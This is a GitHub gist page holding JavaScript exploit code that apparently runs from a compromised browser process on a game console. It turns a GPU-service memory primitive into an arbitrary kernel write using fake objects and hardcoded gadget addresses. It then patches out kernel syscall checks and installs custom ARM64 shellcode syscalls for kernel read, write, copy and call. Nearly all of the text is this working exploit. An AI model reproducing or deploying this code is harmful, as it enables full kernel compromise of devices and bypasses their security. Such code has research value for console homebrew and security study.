-
-
Save SciresM/71df55aed61043e9cf35819eac6225a1 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
utils.log('About to pwn kernel...'); | |
var freeEntry = sc.nv.getFirstFreeHandleEntry(); | |
var hnd = 0x6660000 + ((freeEntry & 0xFFF) / 0x10); | |
sc.nv.kernBuf = utils.add2(sc.nv.nv_base, 0x13F700); | |
sc.nv.kernBufPhys = sc.nv.physAddr + (utils.sub2(sc.nv.kernBuf, sc.nv.nv_base)[0]); | |
sc.nv.write8(sc.nv.kernBuf, sc.nv.kernBuf); // VTABLE == Object for simplicity. | |
sc.nv.write8([0x1, 0x0], utils.add2(sc.nv.kernBuf, 8)); // Refcount == 1 | |
sc.nv.write8([0xBFC30E5C, 0xFFFFFFFF], utils.add2(sc.nv.kernBuf, 0x20)); // vptr == gadget1 | |
var regBuf = utils.add2(sc.nv.kernBuf, 0x80); | |
sc.nv.write8(regBuf, regBuf); // VTABLE == Object for simplicity | |
sc.nv.write8([0xBFC0AD78, 0xFFFFFFFF], utils.add2(regBuf, 0x20)); // vptr == fixup | |
sc.nv.write8([0xBFC0ABD8, 0xFFFFFFFF], utils.add2(regBuf, 0x40)); // vptr == fixup2 | |
sc.nv.write8([0xBFC35668, 0xFFFFFFFF], utils.add2(regBuf, 0x68)); // vptr == return | |
sc.nv.kernWrite = function(val, addr) { | |
sc.nv.write8(val, utils.add2(regBuf, 0x300)); // Write val to memory. | |
sc.nv.gpuWrite(0x01650CCC, freeEntry); | |
sc.nv.gpuWrite((sc.nv.kernBufPhys & 0x0FFFFFFF), freeEntry + 0x8); | |
sc.nv.gpuWrite(0xFFFFFFFE, freeEntry + 0xC); | |
sc.nv.svc(0x16, [hnd, 0, 0, [0xBFC3219C, 0xFFFFFFFF], regBuf, addr, 0, [0xBFC2F524, 0xFFFFFFFF]]); | |
} | |
utils.log('Got arbitrary kernel write!'); | |
utils.log('Patching out SVC checks...'); | |
sc.nv.kernWrite([0xD503201F, 0xD503201F], utils.add2([0xA0000, 0xFFFFFFFE], 0x35820)); | |
sc.nv.kernWrite([0xD503201F, 0xD503201F], utils.add2([0xA0000, 0xFFFFFFFE], 0x35648)); | |
utils.log('Installing custom SVCs...'); | |
var customSvcOfs = 0x45E00; | |
/** | |
* svc 0x3E: svcKernelWrite(value, address, width); | |
* | |
* Arguments: A value to write, a Kernel pointer to write to, and a width for the write (1, 2, 4, or 8). | |
* Writes width bytes from value to address. | |
* Returns 0 in X0 for a valid width, 0xCA01 for invalid width. | |
* No validation is performed on the address pointer argument or on the value argument. | |
*/ | |
var svcKernWriteShellcode = [[0x7100045F, 0x54000120], [0x7100085F, 0x54000140], [0x7100105F, 0x54000160], [0x7100205F, 0x54000180], [0xD2994020, 0xD65F03C0], [0x39000020, 0xD2800000], [0xD65F03C0, 0x79000020], [0xD2800000, 0xD65F03C0], [0xB9000020, 0xD2800000], [0xD65F03C0, 0xF9000020], [0xD2800000, 0xD65F03C0]]; | |
var svcKernWriteOfs = customSvcOfs; | |
for (var i = 0; i < svcKernWriteShellcode.length; i++) { | |
sc.nv.kernWrite(svcKernWriteShellcode[i], utils.add2([0xA0000, 0xFFFFFFFE], customSvcOfs)); | |
customSvcOfs += 0x8; | |
} | |
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernWriteOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x470D0 + 0x8 * 0x3E)); | |
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernWriteOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x474D0 + 0x8 * 0x3E)); | |
sc.nv.kernWrite = function(val, addr, width) { | |
if (width == undefined) { | |
width = 8; | |
} | |
sc.nv.svc(0x3E, [val, addr, width]); // TODO: Check Error Code | |
} | |
/** | |
* svc 0x3D: svcKernelRead(address, width); | |
* | |
* Arguments: A Kernel pointer to read in, and a width for the read (1, 2, 4, or 8). | |
* Reads width bytes from address, storing the result in X1. | |
* Returns 0 in X0 for a valid width, 0xCA01 for invalid width. | |
* No validation is performed on the address pointer argument. | |
*/ | |
var svcKernReadShellcode = [[0x7100043F, 0x54000120], [0x7100083F, 0x54000140], [0x7100103F, 0x54000160], [0x7100203F, 0x54000180], [0xD2994020, 0xD65F03C0], [0x39400001, 0xD2800000], [0xD65F03C0, 0x79400001], [0xD2800000, 0xD65F03C0], [0xB9400001, 0xD2800000], [0xD65F03C0, 0xF9400001], [0xD2800000, 0xD65F03C0]]; | |
var svcKernReadOfs = customSvcOfs; | |
for (var i = 0; i < svcKernReadShellcode.length; i++) { | |
sc.nv.kernWrite(svcKernReadShellcode[i], utils.add2([0xA0000, 0xFFFFFFFE], customSvcOfs)); | |
customSvcOfs += 0x8; | |
} | |
/** | |
* svc 0x3F: svcKernelCopy(dst, src, size); | |
* | |
* Arguments: A destination kernel pointer, a source kernel pointer, and a size. | |
* Performs memcpy(dst, src, size). | |
* Returns 0 in X0. | |
* No validation is performed on any arguments. | |
*/ | |
var svcKernCopyShellcode = [[0xA9BF7BFD, 0xA9BF17E4], [0x580000C4, 0xD63F0080], [0xA8C117E4, 0xA8C17BFD], [0x2A1F03E0, 0xD65F03C0], [0xBFC45260, 0xFFFFFFFF]]; | |
var svcKernCopyOfs = customSvcOfs; | |
for (var i = 0; i < svcKernCopyShellcode.length; i++) { | |
sc.nv.kernWrite(svcKernCopyShellcode[i], utils.add2([0xA0000, 0xFFFFFFFE], customSvcOfs)); | |
customSvcOfs += 0x8; | |
} | |
/** | |
* svc 0x6F: svcKernelCall(fptr, register_buffer); | |
* | |
* Arguments: A kernel function pointer (!), and a buffer to read and dump registers to. | |
* Buffer should be size 0x100, with X0 at 0, X1 at 8, etc through X30 at 0xF0. | |
* Calls the passed function pointer with the relevant arguments, and dumps output registers to the input buffer. | |
* Returns 0 in X0. | |
* No validation is performed on any arguments. | |
*/ | |
var svcKernCallShellcode = [[0xD10403FF, 0xA90007E0], [0xA9010FE2, 0xA90217E4], [0xA9031FE6, 0xA90427E8], [0xA9052FEA, 0xA90637EC], [0xA9073FEE, 0xA90847F0], [0xA9094FF2, 0xA90A57F4], [0xA90B5FF6, 0xA90C67F8], [0xA90D6FFA, 0xA90E77FC], [0xF9007BFE, 0xAA0003F0], [0xAA0103E0, 0xA9410C02], [0xA9421404, 0xA9431C06], [0xA9442408, 0xA9452C0A], [0xA946340C, 0xA9473C0E], [0xF9404411, 0xA9494C12], [0xA94A5414, 0xA94B5C16], [0xA94C6418, 0xA94D6C1A], [0xA94E741C, 0xF940781E], [0xA9400400, 0xD63F0200], [0xF81F8FE0, 0xF9400BE0], [0xA9000400, 0xA9010C02], [0xA9021404, 0xA9031C06], [0xA9042408, 0xA9052C0A], [0xA906340C, 0xA9073C0E], [0xA9084410, 0xA9094C12], [0xA90A5414, 0xA90B5C16], [0xA90C6418, 0xA90D6C1A], [0xA90E741C, 0xF900781E], [0xF84087E1, 0xF9000001], [0xA9410FE2, 0xA94217E4], [0xA9431FE6, 0xA94427E8], [0xA9452FEA, 0xA94637EC], [0xA9473FEE, 0xA94847F0], [0xA9494FF2, 0xA94A57F4], [0xA94B5FF6, 0xA94C67F8], [0xA94D6FFA, 0xA94E77FC], [0xF9407BFE, 0x910403FF], [0xAA1F03E0, 0xD65F03C0]]; | |
var svcKernCallOfs = customSvcOfs; | |
var svcKernCallId = 0x6F; | |
for (var i = 0; i < svcKernCallShellcode.length; i++) { | |
sc.nv.kernWrite(svcKernCallShellcode[i], utils.add2([0xA0000, 0xFFFFFFFE], customSvcOfs)); | |
customSvcOfs += 0x8; | |
} | |
sc.nv.kernCall = function(fptr, args, dump_regs) { | |
if (typeof(fptr) == 'number') { | |
fptr = utils.add2(fptr, [0xBFC00000, 0xFFFFFFFF]); | |
} | |
if (sc.nv.kernLoadBuf === undefined) { | |
sc.nv.kernLoadBuf = sc.nv.malloc(0x100); | |
} | |
switch(arguments.length) { | |
case 1: | |
args = []; | |
case 2: | |
dump_regs = false; | |
} | |
var saddrs = {}; | |
var baseScratchOff = sc.nv.scratchOff; | |
for (var i = 0; i < args.length; i++) { | |
if (typeof(args[i]) == 'number') { | |
args[i] = [args[i], 0]; | |
} else if (ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) { | |
var size = args[i].byteLength; | |
var saddr = utils.add2(sc.nv.scratch, sc.nv.scratchOff); | |
sc.nv.memcpyFromBrowser(saddr, sc.getArrayBufferAddr(args[i]), size); | |
saddrs[i] = saddr; | |
sc.nv.scratchOff += size; | |
if(sc.nv.scratchOff & 0x7) | |
sc.nv.scratchOff = (sc.nv.scratchOff & 0xFFFFFFF8) + 8; | |
} | |
} | |
if(args.length > 0) { | |
for(var i = 0; i < 30 && i < args.length; i++) { | |
if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) { | |
sc.nv.rw.write(saddrs[i], utils.add2(sc.nv.kernLoadBuf, 8*i)); | |
} else { | |
sc.nv.rw.write(args[i], utils.add2(sc.nv.kernLoadBuf, 8*i)); | |
} | |
} | |
} | |
var res = sc.nv.svc(0x6F, [fptr, sc.nv.kernLoadBuf]); | |
// TODO: Error checking. | |
if(args.length > 0) { | |
for(var i = 0; i < 30 && i < args.length; i++) { | |
if(ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) { | |
var size = args[i].byteLength; | |
sc.nv.memcpyToBrowser(sc.getArrayBufferAddr(args[i]), saddrs[i], size); | |
} | |
} | |
} | |
sc.nv.scratchOff = baseScratchOff; | |
return sc.nv.rw.read(sc.nv.kernLoadBuf); | |
} | |
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernReadOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x470D0 + 0x8 * 0x3D)); | |
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernCopyOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x470D0 + 0x8 * 0x3F)); | |
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernCallOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x470D0 + 0x8 * 0x6F)); | |
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernReadOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x474D0 + 0x8 * 0x3D)); | |
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernCopyOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x474D0 + 0x8 * 0x3F)); | |
sc.nv.kernWrite(utils.add2([0xBFC00000, 0xFFFFFFFF], svcKernCallOfs), utils.add2([0xA0000, 0xFFFFFFFE], 0x474D0 + 0x8 * 0x6F)); | |
sc.nv.kernRead = function(addr, width) { | |
if (width == undefined) { | |
width = 8; | |
} | |
var val = sc.nv.svc(0x3D, [addr, width]); | |
if (width < 8) { val[1] = 0; } | |
return val; // TODO: Check Error Code | |
} | |
sc.nv.kernCopy = function(dst, src, size) { | |
return sc.nv.svc(0x3F, [dst, src, size]); | |
} | |
utils.log('Installed Read, Write, Copy, and Call SVCs!'); | |
function p2KV(physical) { | |
return [(physical & 0x0FFFFFFF), 0xFFFFFFFE]; | |
} | |
var entryPtr = p2KV(freeEntry); | |
while (true) { | |
var val = sc.nv.kernRead(entryPtr); | |
if ((val[0] & 0xFFFF0000) == 0x01650000) { // KProcess | |
break; | |
} | |
entryPtr = utils.sub2(entryPtr, 0x10); | |
} | |
var browserKProcess = sc.nv.kernRead(utils.add2(entryPtr, 0x8)); | |
utils.log('Browser KProcess: '+utils.paddr(browserKProcess)); | |
var browserKPageTable = utils.add2(browserKProcess, 0x38 + 0x50); | |
var kPageTableResolve = [0xBFC387EC, 0xFFFFFFFF]; | |
sc.nv.kernCall(kPageTableResolve, [browserKPageTable, [0x0, 0xFFFFFFFE], sc.mref(0)]); | |
utils.log('Browser is physically at: '+utils.paddr(sc.nv.kernRead([0, 0xFFFFFFFE]))); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment